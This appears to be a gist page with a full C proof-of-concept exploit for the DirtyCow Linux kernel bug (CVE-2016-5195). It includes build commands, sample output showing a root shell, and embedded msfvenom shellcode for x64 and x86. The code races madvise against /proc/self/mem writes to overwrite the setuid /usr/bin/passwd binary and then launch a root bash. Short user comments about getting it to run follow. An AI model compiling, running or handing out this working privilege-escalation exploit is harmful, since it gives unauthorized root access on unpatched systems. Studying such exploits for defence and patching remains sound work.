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CVE-2016-5195 (DirtyCow) Local Root PoC
/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* msfvenom -p linux/x64/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
0x3c, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27,
0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73,
0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72,
0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74,
0x69, 0x73, 0x65, 0x63, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62,
0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 227;
/*
* msfvenom -p linux/x86/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xba, 0x00, 0x00, 0x00,
0x20, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x3c, 0x00, 0x00, 0x00,
0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27, 0x20, 0x3e, 0x20, 0x2f,
0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62,
0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63,
0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00,
0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 186;
*/
void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
c+=madvise(map,100,MADV_DONTNEED);
}
printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<1000000 && !stop;i++) {
lseek(f,map,SEEK_SET);
c+=write(f, str, sc_len);
}
printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
char buf[sc_len];
for(;;) {
FILE *fp = fopen(suid_binary, "rb");
fread(buf, sc_len, 1, fp);
if(memcmp(buf, sc, sc_len) == 0) {
printf("%s overwritten\n", suid_binary);
break;
}
fclose(fp);
sleep(1);
}
stop = 1;
printf("Popping root shell.\n");
printf("Don't forget to restore /tmp/bak\n");
system(suid_binary);
}
int main(int argc,char *argv[]) {
char *backup;
printf("DirtyCow root privilege escalation\n");
printf("Backing up %s to /tmp/bak\n", suid_binary);
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
system(backup);
f = open(suid_binary,O_RDONLY);
fstat(f,&st);
printf("Size of binary: %d\n", st.st_size);
char payload[st.st_size];
memset(payload, 0x90, st.st_size);
memcpy(payload, sc, sc_len+1);
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("Racing, this may take a while..\n");
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
pthread_create(&pth2, NULL, &procselfmemThread, payload);
pthread_create(&pth3, NULL, &waitForWrite, NULL);
pthread_join(pth3, NULL);
return 0;
}
@TonyStark
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/usr/bin/passwd not found in my device

@xuxuedong
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what't your device?

@xuxuedong
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i dont know why my root only exist few seconds through https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 for me (ubuntu 14.04.3 x64 vbox), thanks very much for your change, it helps me

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